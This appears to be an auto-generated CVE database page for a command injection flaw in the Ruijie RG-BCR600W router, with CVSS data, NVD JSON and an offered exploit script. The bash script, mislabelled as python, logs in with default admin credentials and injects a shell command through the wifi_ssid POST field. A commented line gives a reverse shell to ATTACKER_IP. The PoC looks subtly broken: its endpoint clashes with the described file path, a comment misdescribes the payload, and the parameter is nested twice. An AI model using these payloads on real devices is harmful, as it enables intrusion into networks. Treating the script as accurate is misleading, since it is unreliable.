Security Vulnerability Report
中文
CVE-2025-56107 CVSS 8.8 HIGH

CVE-2025-56107

Published: 2025-12-11 19:15:56
Last Modified: 2025-12-26 14:46:27

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the submit_wifi in file /usr/lib/lua/luci/controller/admin/common_quick_config.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR600W 存在漏洞的固件版本(具体版本号需参考厂商公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-56107 PoC - Ruijie RG-BCR600W Command Injection # Target: Ruijie RG-BCR RG-BCR600W # Vulnerability: OS Command Injection in submit_wifi endpoint TARGET_HOST="192.168.1.1" TARGET_PORT="80" LOGIN_URL="http://${TARGET_HOST}:${TARGET_PORT}/cgi/login" EXPLOIT_URL="http://${TARGET_HOST}:${TARGET_PORT}/cgi/submit_wifi" # Step 1: Authenticate and obtain session cookie LOGIN_DATA='username=admin&password=admin' COOKIES=$(curl -s -c - -d "$LOGIN_DATA" "$LOGIN_URL" | grep -oP 'Set-Cookie:.*?;' | head -1) # Step 2: Inject command via WiFi parameter # Payload: Reboot device after injecting command PAYLOAD='wifi_ssid=$(touch /tmp/pwned)' EXPLOIT_DATA="submit_wifi=1&wifi_ssid=${PAYLOAD}&wifi_password=test1234" # Step 3: Execute exploit curl -s -b "$COOKIES" -X POST -d "$EXPLOIT_DATA" "$EXPLOIT_URL" echo "[+] Exploit sent. Check /tmp/pwned on target device." # Alternative: Reverse shell payload # PAYLOAD=';bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1;' # Note: Ensure ATTACKER_IP and ATTACKER_PORT are set to your listener

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56107", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.323", "lastModified": "2025-12-26T14:46:27.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the submit_wifi in file /usr/lib/lua/luci/controller/admin/common_quick_config.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56FD45A2-17CF-490C-AB07-9D5198A022B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:*", "matchCriteriaId": "F1DCDE78-994A-48E2-84E2-CD533863AC18"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Evvem8Mw6SlNh-ZJpY_9SAsBq2iDi88TFdFdA1Am3PdfCQ?e=YeLYxb", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/ESr3_xpg5ZxFkRAKG7hiGVcBF3Cw_52dWpSvUOtgx3hPhw?e=c5RTxg", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56107.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}